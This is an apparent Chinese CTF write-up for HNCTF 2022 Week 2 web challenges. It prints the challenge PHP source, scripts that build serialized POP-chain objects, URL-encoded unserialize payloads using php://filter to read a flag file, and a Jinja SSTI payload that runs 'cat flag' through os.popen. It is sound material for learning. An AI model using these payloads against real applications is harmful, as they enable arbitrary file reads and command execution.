[HNCTF 2022 WEEK2]
easy_unser
<?php include 'f14g.php'; error_reporting(0); highlight_file(__FILE__); class body{ private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind"; public function __construct($want){ $About_me = "When the object is created,I will be called"; if($want !== " ") $this->want = $want; else $this->want = $this->todonothing; } function __wakeup(){ $About_me = "When the object is unserialized,I will be called"; $but = "I can CHANGE you"; $this-> want = $but; echo "C1ybaby!"; } function __destruct(){ $About_me = "I'm the final function,when the object is destroyed,I will be called"; echo "So,let me see if you can get what you want\n"; if($this->todonothing === $this->want) die("鲍勃,别傻愣着!\n"); if($this->want == "I can CHANGE you") die("You are not you...."); if($this->want == "f14g.php" OR is_file($this->want)){ die("You want my heart?No way!\n"); }else{ echo "You got it!"; highlight_file($this->want); } } } class unserializeorder{ public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>"; function __sleep(){ $About_me = "When the object is serialized,I will be called"; echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>"; } function __toString(){ $About_me = "When the object is used as a string,I will be called"; return $this->CORE; } } $obj = new unserializeorder(); echo $obj; $obj = serialize($obj); if (isset($_GET['ywant'])) { $ywant = @unserialize(@$_GET['ywant']); echo $ywant; } ?> 人类最大的敌人,就是无序. Yahi param vaastavikta hai! We Come To HNCTF,Enjoy the ser14l1zti0n
首先看代码可知,flag在f14g.php中,所以我们只要找到能够利用的点就可以了。
往上看可以看到body类中highlight_file()可以进行利用,所以说我们需要让want为我们想要的f14g.php就可以了。
function __destruct(){ $About_me = "I'm the final function,when the object is destroyed,I will be called"; echo "So,let me see if you can get what you want\n"; if($this->todonothing === $this->want) die("鲍勃,别傻愣着!\n"); if($this->want == "I can CHANGE you") die("You are not you...."); if($this->want == "f14g.php" OR is_file($this->want)){ die("You want my heart?No way!\n"); }else{ echo "You got it!"; highlight_file($this->want); } }
但是这边过滤的有点严,若是want=f14g.php,或者说是is_file()中的文件存在的话就会返回"So,let me see if you can get what you want\n";
所以我们不能直接让want=f14g.php,这里可以用php://filter伪协议来回显f14g.php文件。
构造如下:
<?php class body{ private $want="php://filter/resource=f14g.php"; } class unserializeorder{ public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>"; } $a=new body(); echo urlencode(serialize($a)); ?>
payload:?ywant=O%3A4%3A"body"%3A2%3A{s%3A10%3A"%00body%00want"%3Bs%3A30%3A"php%3A%2F%2Ffilter%2Fresource%3Df14g.php"%3B}
这里注意还需要绕过__wakeup魔术方法,所以%3A %3A中间原本为1,现在为2。
ssssti
这道题也没啥好写的,这道题过滤了:" , ' , '_', '__', 'os', 'get_flashed_messages', 'current_app', 'args', 'url_for'。
payload:?name={{(lipsum|attr(request.cookies.a))[request.cookies.a1].popen(request.cookies.a2).read()}}
cooklie: a=__globals__;a1=os;a2=cat flag
pop子和pipi美
打开后发现这个东西,然后我们传入:?pop_EP=ep683045

获得源码:
<?php error_reporting(0); //flag is in f14g.php class Popuko { private $No_893; public function POP_TEAM_EPIC(){ $WEBSITE = "MANGA LIFE WIN"; } public function __invoke(){ $this->append($this->No_893); } public function append($anti_takeshobo){ include($anti_takeshobo); } } class Pipimi{ public $pipi; public function PIPIPMI(){ $h = "超喜欢POP子ww,你也一样对吧(举刀)"; } public function __construct(){ echo "Pipi美永远不会生气ww"; $this->pipi = array(); } public function __get($corepop){ $function = $this->p; return $function(); } } class Goodsisters{ public function PopukoPipimi(){ $is = "Good sisters"; } public $kiminonawa,$str; public function __construct($file='index.php'){ $this->kiminonawa = $file; echo 'Welcome to HNCTF2022 ,'; echo 'This is '.$this->kiminonawa."<br>"; } public function __toString(){ return $this->str->kiminonawa; } public function __wakeup(){ if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) { echo "仲良ピース!"; $this->kiminonawa = "index.php"; } } } if(isset($_GET['pop'])) @unserialize($_GET['pop']); else{ $a=new Goodsisters; if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){ highlight_file(__FILE__); echo '欸嘿,你也喜欢pop子~对吧ww'; } }
我们看源码,可以看到这里有__wakeup魔术方法,所以我们pop链的开头就找到了。
public function __wakeup(){ if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) { echo "仲良ピース!"; $this->kiminonawa = "index.php"; } }
然后我们找能利用的点来获取flag
class Popuko { private $No_893; public function POP_TEAM_EPIC(){ $WEBSITE = "MANGA LIFE WIN"; } public function __invoke(){ $this->append($this->No_893); } public function append($anti_takeshobo){ include($anti_takeshobo); }
根据提示看到这里有文件包含的利用点,所以我们可以通过文件包含来读取f14g.php。
思路如下:先调用Goodsisters类中的__wakeup,然后在__wakeup方法里preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa")中$this->kiminonawa会把kiminonawa当作字符串来使用,所以这样的话就会调用Goodsisters类中的__toString方法,然后再让Goodsisters类中的str等于new Pipimi这样的话会调用Pipimi类中的__get方法然后让__get方法中的等于new Popuko这样的话就会调用Popuko类中的__invoke方法,从而达到文件包含的目的。
这里的话为什么在Popuko中没有定义p这个属性,但是仍然可以赋值呢。问了一下chatgpt,答案如下:
在 PHP 中,一个类的成员属性可以在对象中动态添加和修改,无论这个属性是否被定义过。如果尝试给一个没有被定义的属性赋值,PHP 会自动将这个属性添加到类中,并赋予它所需的值。
在这个代码示例中,虽然在类中没有直接定义 $p 属性,但当这个属性第一次被赋值时,PHP 会自动将这个属性添加到对象中。这个过程也称为属性动态定义(Dynamic Property Definition)。
在该代码示例中,$this->p 也许是在对象反序列化过程中被创建的,然后在反序列化后的对象的某些方法中被赋值。此时 $this->p 属性并不属于类定义的一部分,但由于 PHP 的属性动态定义特性,这样的操作是合法的,并且可以在运行时动态添加成员属性。
大概意思就是PHP会自动将这个属性添加到类中,所以我们可以进行赋值。
构造代码如下:
<?php class Popuko { private $No_893='php://filter/convert.base64-encode/resource=f14g.php'; } class Pipimi{ public $pipi; } class Goodsisters{ public $kiminonawa; public $str; } $a=new Goodsisters; $a->kiminonawa=new Goodsisters; $a->kiminonawa->str=new Pipimi; $a->kiminonawa->str->p=new Popuko; echo urlencode(serialize($a)); ?>

浙公网安备 33010602011771号